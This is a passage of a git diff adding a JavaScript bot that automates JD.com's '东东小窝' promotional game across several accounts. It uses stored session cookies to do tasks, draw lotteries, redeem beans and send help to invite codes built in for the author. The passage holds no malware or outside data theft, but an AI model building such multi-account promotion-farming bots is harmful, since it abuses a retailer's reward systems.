t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_small_home.js b/jd_small_home.js new file mode 100644 index 0000000..614360b --- /dev/null +++ b/jd_small_home.js @@ -0,0 +1,929 @@ +/* +东东小窝 jd_small_home.js +Last Modified time: 2021-6-27 13:27:20 +现有功能: +做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币) +自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆) + +注:目前使用此脚本会给脚本内置的两个码进行助力,请知晓 + +活动入口:京东APP我的-游戏与更多-东东小窝 +或 京东APP首页-搜索 玩一玩-DIY理想家 +微信小程序入口: +来客有礼 - > 首页 -> 东东小窝 +网页入口(注:进入后不能再此刷新,否则会有问题,需重新输入此链接进入) +https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#东东小窝 +16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true + +================Loon============== +[Script] +cron "16 22 * * *" script-path=jd_small_home.js, tag=东东小窝 + +===============Surge================= +东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=jd_small_home.js + +============小火箭========= +东东小窝 = type=cron,script-path=jd_small_home.js, cronexpr="16 22 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东小窝'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +let isPurchaseShops = false;//是否一键加购商品到购物车,默认不加购 +$.helpToken = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.newShareCodes = []; +const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await smallHome(); + } + } + $.inviteCodes = await getAuthorShareCode('') + if (!$.inviteCodes) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.inviteCodes = await getAuthorShareCode('') + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.token = $.helpToken[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + // console.log('----', (i + 1) % $.newShareCodes.length) + let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] + console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}`) + await createAssistUser(code, $.createAssistUserID); + } + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function smallHome() { + try { + await loginHome(); + await ssjjRooms(); + // await helpFriends(); + if (!$.isUnLock) return; + await createInviteUser(); + await queryDraw(); + await lottery(); + await doAllTask(); + await queryByUserId(); + await queryFurnituresCenterList(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +async function lottery() { + if ($.freeDrawCount > 0) { + await drawRecord($.lotteryId); + } else { + console.log(`免费抽奖机会今日已使用\n`) + } +} + +async function doChannelsListTask(taskId, taskType) { + await queryChannelsList(taskId); + for (let item of $.queryChannelsList) { + if (item.showOrder === 1) { + await $.wait(1000) + await followChannel(taskId, item.id) + await queryDoneTaskRecord(taskId, taskType); + } + } +} +async function helpFriends() { + // await updateInviteCode(); + // if (!$.inviteCodes) await updateInviteCodeCDN(); + if ($.inviteCodes && $.inviteCodes['inviteCode'] && $.inviteCodes['inviteCode'].length) { + console.log(`\n去帮助作者\n`) + for (let item of $.inviteCodes.inviteCode) { + if (!item) continue + await createAssistUser(item, $.createAssistUserID); + } + } +} +async function doAllTask() { + await queryAllTaskInfo();//获取任务详情列表$.taskList + console.log(` 任务名称 完成进度 `) + for (let item of $.taskList) { + console.log(`${item.ssjjTaskInfo.name} ${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || (item.ssjjTaskInfo.type === 1 ? 4: 1)}`) + } + for (let item of $.taskList) { + if (item.ssjjTaskInfo.type === 1) { + //邀请好友助力自己 + $.createAssistUserID = item.ssjjTaskInfo.id; + // console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) + console.log(`\n\n助力您的好友:${item.doneNum}人\n\n`); + } + if (item.ssjjTaskInfo.type === 2) { + //每日打卡 + if (item.doneNum >= (item.ssjjTaskInfo.awardOfDayNum || 1)) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1}]`) + continue + } + await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB) + } + // 限时连连看 + if (item.ssjjTaskInfo.type === 3) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await game(item.ssjjTaskInfo.id, item.doneNum); + } + } + if (item.ssjjTaskInfo.type === 4) { + //关注店铺 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await followShops('followShops', item.ssjjTaskInfo.id);//一键关注店铺 + await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); + } + } + if (item.ssjjTaskInfo.type === 5) { + //浏览店铺 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await browseChannels('browseShops', item.ssjjTaskInfo.id, item.browseId); + } + } + if (item.ssjjTaskInfo.type === 6) { + //关注4个频道 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + await doChannelsListTask(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type) + } + if (item.ssjjTaskInfo.type === 7) { + //浏览3个频道 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await browseChannels('browseChannels', item.ssjjTaskInfo.id, item.browseId); + } + } + isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); + if (isPurchaseShops && item.ssjjTaskInfo.type === 9) { + //加购商品 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await followShops('purchaseCommodities', item.ssjjTaskInfo.id);//一键加购商品 + await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); + } + } + if (item.ssjjTaskInfo.type === 10) { + //浏览商品 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await browseChannels('browseCommodities', item.ssjjTaskInfo.id, item.browseId); + } + } + if (item.ssjjTaskInfo.type === 11) { + //浏览会场 + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); + } + // await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); + // await doAllTask(); + } + } +} +function queryFurnituresCenterList() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-furnitures-center/queryFurnituresCenterList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + let { buy, list } = data.body; + $.canBuyList = []; + list.map((item, index) => { + if (buy.some((buyItem) => buyItem === item.id)) return + $.canBuyList.push(item); + }) + $.canBuyList.sort(sortByjdBeanNum); + if ($.canBuyList[0].needWoB <= $.woB) { + await furnituresCenterPurchase($.canBuyList[0].id, $.canBuyList[0].jdBeanNum); + } else { + console.log(`\n兑换${$.canBuyList[0].jdBeanNum}京豆失败:当前wo币${$.woB}不够兑换所需的${$.canBuyList[0].needWoB}WO币`) + message += `【装饰领京豆】兑换${$.canBuyList[0].jdBeanNum}京豆失败,原因:WO币不够\n`; + } + // for (let canBuyItem of $.canBuyList) { + // if (canBuyItem.needWoB <= $.woB) { + // await furnituresCenterPurchase(canBuyItem.id, canBuyItem.jdBeanNum); + // break + // } + // } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//装饰领京豆 +function furnituresCenterPurchase(id, jdBeanNum) { + return new Promise(resolve => { + $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + message += `【装饰领京豆】${jdBeanNum}兑换成功\n`; + await notify.sendNotify($.name, `【京东账号 ${$.index}】 ${$.UserName || $.nickName}\n【装饰领京豆】${jdBeanNum}兑换成功`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取详情 +function queryByUserId() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-wo-home-info/queryByUserId/2`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【小窝名】${data.body.name}\n`; + $.woB = data.body.woB; + message += `【当前WO币】${data.body.woB}\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取需要关注的频道列表 +function queryChannelsList(taskId) { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-task-channels/queryChannelsList/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + $.queryChannelsList = data.body; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//浏览频道,浏览会场,浏览商品,浏览店铺API +function browseChannels(functionID ,taskId, browseId) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}/${browseId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`${functionID === 'browseChannels' ? '浏览频道' : functionID === 'browseMeetings' ? '浏览会场' : functionID === 'browseShops' ? '浏览店铺' : '浏览商品'}`, data) + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//记录已关注的频道 +function queryDoneTaskRecord(taskId, taskType) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/queryDoneTaskRecord/${taskType}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//一键关注店铺,一键加购商品API +function followShops(functionID, taskId) { + return new Promise(async resolve => { + $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + console.log(`${functionID === 'followShops'? '一键关注店铺': '一键加购商品'}结果:${data.head.msg}`); + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//关注频道API +function followChannel(taskId, channelId) { + return new Promise(async resolve => { + $.get(taskUrl(`/ssjj-task-record/followChannel/${channelId}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function createInviteUser() { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/createInviteUser`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + if (data.body.id) { + console.log(`\n您的${$.name}shareCode(每天都是变化的):【${data.body.id}】\n`); + $.shareCode = data.body.id; + $.newShareCodes.push({ 'code': data.body.id, 'token': $.token, cookie }); + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function createAssistUser(inviteId, taskId) { + // console.log(`${inviteId}, ${taskId}`, `${cookie}`); + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + console.log(`给好友${data.body.inviteId}:【${data.head.msg}】\n`) + } + } else { + console.log(`助力失败${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function game(taskId, index, awardWoB = 100) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/game/${index}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function clock(taskId, awardWoB) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/clock/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【每日打卡】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryAllTaskInfo() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-task-info/queryAllTaskInfo/2`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + $.taskList = data.body; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//免费抽奖 +function drawRecord(id) { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-draw-record/draw/${id}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【免费抽奖】获得:${data.body.name}\n`; + } else { + message += `【免费抽奖】未中奖\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询免费抽奖机会 +function queryDraw() { + return new Promise(resolve => { + $.get(taskUrl("ssjj-draw-center/queryDraw"), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + $.freeDrawCount = data.body.freeDrawCount;//免费抽奖次数 + $.lotteryId = data.body.center.id; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询是否开启了此活动 +function ssjjRooms() { + return new Promise(resolve => { + $.get(taskUrl("ssjj-rooms/info/%E5%AE%A2%E5%8E%85"), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + $.isUnLock = data.body.isUnLock; + if (!$.isUnLock) { + console.log(`京东账号${$.index}${$.nickName}未开启此活动\n`); + //$.msg($.name, '', `京东账号${$.index}${$.nickName}未开启此活动\n点击弹窗去开启此活动( ̄▽ ̄)"`, {"open-url": "openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html%22%20%7D"}); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function loginHome() { + return new Promise(resolve => { + const options = { + "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Content-Type": "application/json", + "Cookie": cookie, + "Host": "jdhome.m.jd.com", + "Origin": "https://jdhome.m.jd.com", + "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} encrypt/pin API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + await login(data.data.lkEPin); + } else { + console.log(`异常:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function login(userName) { + return new Promise(resolve => { + const body = { + "body": { + "client": 2, + userName + } + }; + const options = { + "url": `${JD_API_HOST}/user-info/login`, + "body": JSON.stringify(body), + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Origin": "https://lkyl.dianpusoft.cn", + "Referer": 